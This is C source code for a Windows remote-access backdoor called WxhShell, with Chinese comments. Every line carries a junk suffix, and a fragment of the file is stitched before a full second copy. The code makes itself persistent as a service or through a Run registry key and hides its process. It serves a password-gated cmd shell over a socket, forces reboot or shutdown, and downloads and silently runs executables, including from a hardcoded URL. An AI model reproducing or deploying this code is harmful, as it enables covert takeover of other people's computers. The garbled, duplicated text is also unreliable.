  // 关机 kPSi6ci  
  case 'd': { >^v,,R8j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }To-c'  
    if(Boot(SHUTDOWN)) 7!e kINQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /g!X[rn7Q  
    else { !1<>][F  
    closesocket(wsh); JP]-a!5Ru  
    ExitThread(0); 8vj]S5  
    } aOEW$%  
    break; #*  8^ar<  
    } kcP&''  
  // 获取shell /f>I;z1  
  case 's': { /vqsp0e"H  
    CmdShell(wsh); 3B4C@ {  
    closesocket(wsh); i}C%`1+(  
    ExitThread(0); Qs 'dwc  
    break; NH,4>mV$!  
  } %D ,(S-Uj  
  // 退出 !!])~+4pP  
  case 'x': { d81[hT}q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h|EHK!<"8  
    CloseIt(wsh); x`K"1E{2  
    break; rWp+kV[Ec>  
    } :ZXaJ!  
  // 离开 't475?bY  
  case 'q': { :|=Xh"l"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CSr2\ogT  
    closesocket(wsh); y*lAmO  
    WSACleanup(); 9hhYyqGsO  
    exit(1); Oz=!EG|N  
    break; I$f'BAw  
        } qITd.< k  
  } (>-(~7PR  
  } ,(kaC.Em  
J^mm"2  
  // 提示信息 oho~?.F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WAVEwA`r  
} iv6bXV'N  
  } tk+t3+  
.b<wNUzP  
  return; l R^W*w4y  
} zzX9Q:  
QhPpo#^  
// shell模块句柄 :Lq=)'d;6  
int CmdShell(SOCKET sock) NOtwgZ-  
{ Y_nlIcu  
STARTUPINFO si; -M-y*P)  
ZeroMemory(&si,sizeof(si)); f/i[? gw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  \>e>J\t:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; deutY.7g  
PROCESS_INFORMATION ProcessInfo; n:JG+1I  
char cmdline[]="cmd"; *35o$P46  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wtfM }MW\  
  return 0; D!bi>]Yd  
} <-!' V,c  
)umW-A  
// 自身启动模式 [Ib17#74  
int StartFromService(void) u6/;=]0   
{ 0Pg@%>yb~  
typedef struct V`LW~P;  
{ m8&XW2S  
  DWORD ExitStatus; R-\"^BV#Z  
  DWORD PebBaseAddress; SXmh@a"*\  
  DWORD AffinityMask; K(}<L-cv  
  DWORD BasePriority; n s&(g^  
  ULONG UniqueProcessId; `u7twW*U2  
  ULONG InheritedFromUniqueProcessId; Ap`D{u/  
}   PROCESS_BASIC_INFORMATION; 7 '7a`-W  
RH;Kbu  
PROCNTQSIP NtQueryInformationProcess; Cta!"=\  
=5M '+>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q8bn|#`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6hqqZ  
T!Uf PfEI  
  HANDLE             hProcess; jHc/ EZB  
  PROCESS_BASIC_INFORMATION pbi; oX[I4i%G  
(9!kKMQW'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SSr2K  
  if(NULL == hInst ) return 0; $+HS^m  
&sS]h|2Z5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y\{lQMCy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7 6S>xnN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jry643K>:;  
H=5#cPI#(^  
  if (!NtQueryInformationProcess) return 0; v0 |"[qGb  
"z|%V/2b3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )auuk<  
  if(!hProcess) return 0; f8 L3+u  
zuBfkW95+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `O}bPwa{>  
Redxg.P  
  CloseHandle(hProcess); ^s?i&K,!  
{>.qo<k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XO J@-^BX  
if(hProcess==NULL) return 0; L&~>(/*7U  
l,1.6  
HMODULE hMod; "yxBD 7  
char procName[255]; , -S n  
unsigned long cbNeeded;  %L gfi  
vX}mwK8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }i2dXC/  
SlUt&+)  
  CloseHandle(hProcess); s&qr2'F+z  
&bS!>_9  
if(strstr(procName,"services")) return 1; // 以服务启动 TWTRMc;z+  
R$VeD1n@  
  return 0; // 注册表启动 }F (lffb  
} +PkN~m`  
\( xQ'AQ-  
// 主模块 7)a u#K6  
int StartWxhshell(LPSTR lpCmdLine) Cl3hpqv1I  
{ c)=UX_S!  
  SOCKET wsl; [KwwhI@3  
BOOL val=TRUE; QjwCY=PK!  
  int port=0; {m<!-B95  
  struct sockaddr_in door; @GE:<'_:{  
l ~ /y  
  if(wscfg.ws_autoins) Install(); FI(M 1iJ  
U>_#,j  
port=atoi(lpCmdLine); 9:6d,^X  
GE.@*W  
if(port<=0) port=wscfg.ws_port; 5V/CYcO  
bLyG3~P;0  
  WSADATA data; 9 TW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TVFxEV7Fx  
p=J9N-EM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;={Z Bx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WWYG>C[  
  door.sin_family = AF_INET; 9<I;9.1S?^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q9"~sCH  
  door.sin_port = htons(port); Fgg4QF  
_d/ZaCx'i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,@*`2I>`  
closesocket(wsl); #n}n %  
return 1; H[8P]"*z*i  
} oM#S.f?  
1_.#'U>  
  if(listen(wsl,2) == INVALID_SOCKET) { MOW {g\{\  
closesocket(wsl); wH[}@w  
return 1; Sf0[^"7  
} :7Q, `W9  
  Wxhshell(wsl); |qsY0zx  
  WSACleanup(); Nm/Fc   
?YbZVoD)J  
return 0; *npe]cC  
A?8 29<  
} Gk5SG_o  
&g<`i{_  
// 以NT服务方式启动 Jv=G3=.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XS/5y(W  
{ 0,`$KbV\  
DWORD   status = 0; E={W^k!Vz:  
  DWORD   specificError = 0xfffffff; :WBl0`kW]4  
f*SAbDE  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  g8_IZ(%:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &vp0zYd+v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z;JZ<vEt92  
  serviceStatus.dwWin32ExitCode     = 0; 9#@CmiIhy  
  serviceStatus.dwServiceSpecificExitCode = 0; vXM``|  
  serviceStatus.dwCheckPoint       = 0; 3M&75OE  
  serviceStatus.dwWaitHint       = 0; L&nGjC+Lr  
2=l !b/m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oxPb; %  
  if (hServiceStatusHandle==0) return; RycO8z*p  
8W_X&X?Q  
status = GetLastError(); |!{ BjOAD'  
  if (status!=NO_ERROR) bz? *#S  
{ /aB9pD+%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O}3M+  
    serviceStatus.dwCheckPoint       = 0; %7?v='s=  
    serviceStatus.dwWaitHint       = 0; OAQ'/{~7  
    serviceStatus.dwWin32ExitCode     = status; {L8(5  
    serviceStatus.dwServiceSpecificExitCode = specificError; vv,(ta@t2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $'Hg}|53  
    return; r8~U@$BBK  
  } 2O5yS  
Aq{m42EAj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :I}_  
  serviceStatus.dwCheckPoint       = 0; f 6P5J|'  
  serviceStatus.dwWaitHint       = 0; g3%t+>$*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^MWfFpJV!]  
} VmB/X))   
(IR'~ :W  
// 处理NT服务事件,比如:启动、停止 k|7XC@i]%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P( W8XC  
{ o;JBe"1  
switch(fdwControl) I -obfyije  
{ Bv |Z)G%RR  
case SERVICE_CONTROL_STOP: |JL47FR  
  serviceStatus.dwWin32ExitCode = 0; Q'^]lVY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +:d))r=n  
  serviceStatus.dwCheckPoint   = 0; Om0S^4y]x  
  serviceStatus.dwWaitHint     = 0; {hM*h(W~3  
  { 7c6-S@L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R@0ELxzA  
  } QE5 85s5  
  return; 2'J.$ h3  
case SERVICE_CONTROL_PAUSE: -K/' }I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6P;1I+5m{q  
  break; d}',Bl+u{$  
case SERVICE_CONTROL_CONTINUE: /=\__$l)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0nz k?iP  
  break; 8L 9;VY^Y  
case SERVICE_CONTROL_INTERROGATE: .{-8gAh  
  break; E4[\lX$J  
}; 9=I(AYG{m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $/45*  
} !{SU G+.2  
@11voD  
// 标准应用程序主函数 ?kb\%pcK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^\mN<z(  
{ >|7&hj$  
,Ql3RO,  
// 获取操作系统版本 SJ7>*Sa(u$  
OsIsNt=GetOsVer(); R< xxwjt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G$4lH>A&  
Q ;5'I3w  
  // 从命令行安装 ?#D@e5Wf  
  if(strpbrk(lpCmdLine,"iI")) Install(); YKl!M/  
,^o^@SI)   
  // 下载执行文件 a+mq=K  
if(wscfg.ws_downexe) { ,lA J{5\#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N &p=4  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ze Shn  
} foE2rV/Y  
:yk Z7X&  
if(!OsIsNt) { i`8!Vm  
// 如果时win9x,隐藏进程并且设置为注册表启动 :eQx di'  
HideProc(); 3g2t{ %  
StartWxhshell(lpCmdLine); x)vYc36H  
} { Rw~G&vQ  
else 8gBqur{  
  if(StartFromService()) _I|wp<R  
  // 以服务方式启动 S_2I8G^A  
  StartServiceCtrlDispatcher(DispatchTable); e@^}y4 C  
else uNhAfZ  
  // 普通方式启动 ZVIBmx  
  StartWxhshell(lpCmdLine); iJrscy-  
OR"ni  
return 0; +bf%]   
} |klL KX&  
p dnL~sv  
N'm:V  
web&M!-  
=========================================== bJB:]vs$  
gYzKUX@  
9fl !CG  
{Y'_QW1:2  
!FpMO`m  
4 <]QMA0  
" e$>5GM  
F/EHU?_EI  
#include <stdio.h> \wDOE(>  
#include <string.h> nI_Zk.R  
#include <windows.h> p-KuCobz]  
#include <winsock2.h> _9 Gy`  
#include <winsvc.h> R#\8jvv  
#include <urlmon.h> n{' [[2U  
}.b[az\T  
#pragma comment (lib, "Ws2_32.lib") J;T_ 9  
#pragma comment (lib, "urlmon.lib") 6lWO8j^BN  
i,yK&*>JJ  
#define MAX_USER   100 // 最大客户端连接数 MB"?^~Sm  
#define BUF_SOCK   200 // sock buffer Va*Uwy?x/)  
#define KEY_BUFF   255 // 输入 buffer s9[v_(W  
At bqj?  
#define REBOOT     0   // 重启 4qm5`o\hb  
#define SHUTDOWN   1   // 关机 +Qc^A  
p Y>yJ)  
#define DEF_PORT   5000 // 监听端口 Ca1)>1 Vz  
(J^ Tss  
#define REG_LEN     16   // 注册表键长度 o!\O)  
#define SVC_LEN     80   // NT服务名长度 ]B,S<*h  
b0t];Gc%b  
// 从dll定义API H8-,gV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bxa],inuZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uqO51V~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s` 9zW,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!s4#|h  
M$~h(3  
// wxhshell配置信息 f1~3y}7^Jq  
struct WSCFG { [#9ij3vxd  
  int ws_port;         // 监听端口 BEI/OGp  
  char ws_passstr[REG_LEN]; // 口令 #JLDj(a?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9C4l@ jrF  
  char ws_regname[REG_LEN]; // 注册表键名 r 2   
  char ws_svcname[REG_LEN]; // 服务名 lP9I\Ge&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VhW;=y>}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ka>RAr J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KT g$^"\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /p%K[)T(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PO%]Jme  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I8Zp#'|U  
"BVz5?  
}; .i=%gg  
D{l.WlA.  
// default Wxhshell configuration h |lQ TT  
struct WSCFG wscfg={DEF_PORT, AV2q*  
    "xuhuanlingzhe", 5r+0^UAO:J  
    1, Y?5yzD:  
    "Wxhshell", VUnEI oKM  
    "Wxhshell", ,F-tvSc\Q  
            "WxhShell Service", ?xf;#J+{8  
    "Wrsky Windows CmdShell Service", wl{p,[]  
    "Please Input Your Password: ", eh`V#%S=  
  1, 3,F/i+@  
  "http://www.wrsky.com/wxhshell.exe", mm{U5  
  "Wxhshell.exe" ,jt098W  
    }; TAAsV#l  
eLC&f}  
// 消息定义模块 <#s-hQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O?2<rbx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n7MS{`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c'|MC[^A  
char *msg_ws_ext="\n\rExit."; 0}^-, Q,  
char *msg_ws_end="\n\rQuit."; DS$ _"'g%i  
char *msg_ws_boot="\n\rReboot..."; Fhsmpe~  
char *msg_ws_poff="\n\rShutdown..."; "yz\p,  
char *msg_ws_down="\n\rSave to "; 4KM$QHS5{  
iP!Y4F  
char *msg_ws_err="\n\rErr!"; 4vX]c  
char *msg_ws_ok="\n\rOK!"; 9Y4N  
asq/_`  
char ExeFile[MAX_PATH]; {&<}*4D  
int nUser = 0; k0YsAa#6V  
HANDLE handles[MAX_USER]; ~o%-\^oc  
int OsIsNt; N{`l?t0I  
3w9 ]@kU  
SERVICE_STATUS       serviceStatus; M|v.5l#   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ipzUF o<w  
@NH Ruk+  
// 函数声明 &=?`;K  
int Install(void); m+m6"yE#_  
int Uninstall(void); "aBd0i&  
int DownloadFile(char *sURL, SOCKET wsh); z67=v9+7  
int Boot(int flag); fhY[I0;}$  
void HideProc(void); x@Y2jM  
int GetOsVer(void); ,|4Ye  
int Wxhshell(SOCKET wsl); wU ; f   
void TalkWithClient(void *cs); Xou#38&p>  
int CmdShell(SOCKET sock); &Bp\kv  
int StartFromService(void); |be r:1  
int StartWxhshell(LPSTR lpCmdLine); ZKR z=(  
(k5DbP[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wr$}AX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wrO>#`Z  
vW{cB y  
// 数据结构和表定义 tT8jC:oVa  
SERVICE_TABLE_ENTRY DispatchTable[] = _$'Mx'IC=  
{ ^kl9U+  
{wscfg.ws_svcname, NTServiceMain}, x<Zhj3  
{NULL, NULL} >b ["T+  
}; 5j{@2]i  
avpw+M6+  
// 自我安装 )PG,K 4z  
int Install(void) C}h@El  
{ r;XQ i  
  char svExeFile[MAX_PATH]; NI1HUUZz  
  HKEY key; &V?q d{39  
  strcpy(svExeFile,ExeFile); v2n0[b0  
>Y/[zf I2  
// 如果是win9x系统,修改注册表设为自启动 y\_S11{v  
if(!OsIsNt) { S[a5k;8GL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O|>1~^w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #c^Q<&B  
  RegCloseKey(key); fMQ*2zGu95  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +r0eTP=zf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4{DeF@@  
  RegCloseKey(key); )R^Cqo'  
  return 0; K7hf m%`N  
    } }R1`ThTM  
  } }91mQ`3  
} H<;Fb;b  
else { *!'&:  
mU=6"A0 U  
// 如果是NT以上系统,安装为系统服务 |\a:]SlH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ib2@Wi   
if (schSCManager!=0) KCk?)Qv  
{ S(J\<)b  
  SC_HANDLE schService = CreateService mei_aN7zW  
  ( Idlu1g  
  schSCManager, | sFe:TX  
  wscfg.ws_svcname, |nEV Oy>'  
  wscfg.ws_svcdisp, s\W  
  SERVICE_ALL_ACCESS, e9W7ke E*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ` (D4gPW  
  SERVICE_AUTO_START, }o^A^  
  SERVICE_ERROR_NORMAL, LO]6Xd"  
  svExeFile, |)q K g  
  NULL, kP)o=\|W{z  
  NULL, ,0Zn hS)kq  
  NULL, %EGr0R(  
  NULL, ^V}R(gDu}s  
  NULL B/=q_.1F>  
  ); ^Q=y^fx1  
  if (schService!=0) :Nz?<3R0\  
  { vS YKe  
  CloseServiceHandle(schService); !/}FPM_  
  CloseServiceHandle(schSCManager); Tdwwtbe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B~>cNj<  
  strcat(svExeFile,wscfg.ws_svcname); =YGP%}_.p{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { + |qfgi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >Mn>P!  
  RegCloseKey(key); {1MGb%xW  
  return 0; uXLZtfu{  
    } tin|,jA =  
  } ;a#*|vx  
  CloseServiceHandle(schSCManager); *9vA+uN  
} yK077zH_  
} 9*KMbd ^T  
 |.C    
return 1; }6J7 <g  
} <s8? Z1  
5Vi]~dZu7  
// 自我卸载 # \; >8  
int Uninstall(void) 9>Uq$B  
{ (s"iC:D6U  
  HKEY key; Ao":9r[V  
)M'UASB;8  
if(!OsIsNt) { ~" 0@u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -2& i)S0R  
  RegDeleteValue(key,wscfg.ws_regname); JT|u;Z*n  
  RegCloseKey(key); ?{: D,{+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HRV*x!|I  
  RegDeleteValue(key,wscfg.ws_regname); Yu^H*b  
  RegCloseKey(key); _IL2-c8  
  return 0; p08kZ  
  } ^%8qKC`Tt  
} =x^l[>sz  
} xb>n&ym?  
else { NaA+/:  
0[lsoYUq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  gt_X AH  
if (schSCManager!=0) A)z PaXZ  
{ *v rW A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !\0F.*   
  if (schService!=0) fYhR#FVI  
  { D#7_T KX  
  if(DeleteService(schService)!=0) { ,?k%jcR  
  CloseServiceHandle(schService); 5#0e={X  
  CloseServiceHandle(schSCManager); Ud#X@xK<h  
  return 0; T^$g N|  
  } rKzlK 'U  
  CloseServiceHandle(schService); P>Q{He:  
  } %l} Q?Z  
  CloseServiceHandle(schSCManager); 6<Z*Tvk{C  
} >+ ]R4  
} f]8!DXEA  
V5a?=vK9  
return 1; sS2_-X[_  
} uuSR%KK]|  
Y}LLOj@L  
// 从指定url下载文件 ~XUOWY75  
int DownloadFile(char *sURL, SOCKET wsh) 8geek$FY x  
{ PW%1xHLfk  
  HRESULT hr; b,sGq  
char seps[]= "/"; 2@ 9pr  
char *token; >?5xDbRj  
char *file; fw' r.  
char myURL[MAX_PATH]; MBB5wj  
char myFILE[MAX_PATH]; r219M)D?  
s>|Z7[*  
strcpy(myURL,sURL); 0e+W/Tq  
  token=strtok(myURL,seps); >5;N64]!)  
  while(token!=NULL) Y{Da+  
  { sEce{"VC  
    file=token; z2w;oM$g  
  token=strtok(NULL,seps); 'y9*uT~  
  } \sK:W|yy  
wE$s'e  
GetCurrentDirectory(MAX_PATH,myFILE); U:]MgZWn  
strcat(myFILE, "\\"); AkrTfi4hC  
strcat(myFILE, file); ZXsYn  
  send(wsh,myFILE,strlen(myFILE),0); 1")FWN_K/T  
send(wsh,"...",3,0); p9-0?(]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M8';%  =@  
  if(hr==S_OK) G02ox5X  
return 0; !4R>O6k   
else 74K)aA  
return 1; TbLe6x  
vv+D*e&<  
} NZLXN  
l'U1 01M>F  
// 系统电源模块 ]9jZndgC  
int Boot(int flag) s^w\zzYb  
{ 9ilM@SR  
  HANDLE hToken; )Zas x6`  
  TOKEN_PRIVILEGES tkp; vsKl#R B  
(I4y[jnD  
  if(OsIsNt) { [O2h- `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +YTx   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Y1`?1;nw  
    tkp.PrivilegeCount = 1; uBmxh%]C~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }A|))Ao|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wo{K}  
if(flag==REBOOT) { 0G5'Y;8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x>%joKY[  
  return 0; E0QPE5_  
} 8xgJSk  
else { q] ^,vei  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pOMgEEhfS  
  return 0; _J,xT  
} flG=9~qcGQ  
  } F>N+<Z  
  else { t5paY w-b  
if(flag==REBOOT) { R"*R99  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0q{[\51*  
  return 0; K;x~&G0=  
} cw;co@!$  
else { GR%{T'ZD`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b,dr+RB  
  return 0; }W$8M>l  
} i\Yl  
} {I{3(M#"  
b^ sb]bZW  
return 1; zmI5"K"'F  
} XA1f' Kk  
J A`H@qE  
// win9x进程隐藏模块 JSgpb ?(  
void HideProc(void) =}v ;1m  
{ h* s`^W3  
:uo[&&c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EKuSnlTXba  
  if ( hKernel != NULL ) IIxJqGN:  
  { 3_W{T@T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]>D)#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <F7V=Er  
    FreeLibrary(hKernel); R:/ha(+  
  } Uky9zGa  
uEx9-,!  
return; -`7$Qu 2  
} !\;:36B#6  
VD$ Eb  
// 获取操作系统版本 mV?&%>*(f  
int GetOsVer(void) sqpGrW.  
{ )11W)G`w  
  OSVERSIONINFO winfo; QR"bYQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =&Xdm(  
  GetVersionEx(&winfo); 0|XKd24BN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b`CWp;6Y  
  return 1; ; 0ko@ \Lq  
  else bLbR IY"l  
  return 0; 6tn+m54_  
} \dcdw* v@  
kUa)smh  
// 客户端句柄模块 7Fz xe$A  
int Wxhshell(SOCKET wsl) }>}1oUCi  
{ \}JrFc%O  
  SOCKET wsh; #Qh>z%Mn^3  
  struct sockaddr_in client; dl0FQNz8@B  
  DWORD myID; -$JO8'TP  
|]W2EV ,b  
  while(nUser<MAX_USER) ]^ K;goQv  
{ UTCzHh1  
  int nSize=sizeof(client); ,l HLH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {)@D`{$  
  if(wsh==INVALID_SOCKET) return 1; m`6VKp{YD  
[i7YVwG4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qu~X.pW  
if(handles[nUser]==0) zizk7<?L .  
  closesocket(wsh); l Y'N4x7n  
else rk|@B{CA;  
  nUser++; }`o? /!X   
  } y=aV=qD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K2rzhHfb  
rh%m;i<b  
  return 0; 3o6RbW0[  
} |P~;C6sf  
2f{T6=SK  
// 关闭 socket *(QH{!-$s  
void CloseIt(SOCKET wsh) a1c1k}  
{ @dgH50o[  
closesocket(wsh); WVX`<  
nUser--; p[v#EyoC  
ExitThread(0); 9(,@aZ  
} Y3',"  
qZk:mlYd  
// 客户端请求句柄 rmd;\)#*`  
void TalkWithClient(void *cs) P)6 lu8zQ  
{ t6lE#<xZV;  
n~g LPHY  
  SOCKET wsh=(SOCKET)cs; Vz%OV}\  
  char pwd[SVC_LEN]; \9:wfLF8!  
  char cmd[KEY_BUFF]; TDNf)Mm  
char chr[1]; '6-$Xq0^E  
int i,j; L{8;Ud_2r  
$_D6_|HK  
  while (nUser < MAX_USER) { 6f)2F< 7  
 HpW 42  
if(wscfg.ws_passstr) { KE}H&1PjU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #sB,1"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9&Ne+MY^%  
  //ZeroMemory(pwd,KEY_BUFF); 7J*N_8?2  
      i=0; DWiBG  
  while(i<SVC_LEN) { UMMB0(0D  
`bG7"o`  
  // 设置超时 @ -:]P8  
  fd_set FdRead; E D"!n-Hq  
  struct timeval TimeOut; "Fnq>iR-  
  FD_ZERO(&FdRead); }|wv]U~  
  FD_SET(wsh,&FdRead); iL]'y\?lv  
  TimeOut.tv_sec=8; 6'C2SihYp  
  TimeOut.tv_usec=0; Y[ zZw~yx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V[; M&=,"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y\c"b-lQX  
,Zf 9RM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o[\HOe~;  
  pwd=chr[0]; p9qKLJ*.C  
  if(chr[0]==0xd || chr[0]==0xa) { 1(#;&:$`i  
  pwd=0; d 8o53a]  
  break; -db75=  
  } \3XqHf3|o  
  i++; ^%>kO,  
    } m D58T2 Z  
jd-glE,Y/  
  // 如果是非法用户,关闭 socket F<&!b2)ML  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LnsD  
} Ao9R:|9  
DcD{*t?x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %O[N}_XHEh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JXqr3 Np1  
l$xxrb9P!  
while(1) { d_z 59  
zaimGMJ ,  
  ZeroMemory(cmd,KEY_BUFF); TQ@d~GR  
w#y0atsg'  
      // 自动支持客户端 telnet标准   ]j<Bo4~Il  
  j=0; TbvtqM 0  
  while(j<KEY_BUFF) { b=;nm#cAI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9~\kF5Q"  
  cmd[j]=chr[0]; ^K(^I*q  
  if(chr[0]==0xa || chr[0]==0xd) { s)J(/  
  cmd[j]=0; #qBr/+b  
  break; nY%5cJ`"  
  } p#P~Q/;  
  j++; |N/G'>TS  
    } q2aYEuu,  
N)2f7j4C &  
  // 下载文件 Z.PBu|Kx  
  if(strstr(cmd,"http://")) { *fMpZ+;[m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AyKMhac  
  if(DownloadFile(cmd,wsh)) ?~e3 &ux  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwR_OB: $  
  else 7- d.ZG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wK_]/Q-L  
  } c}Z6V1]QP  
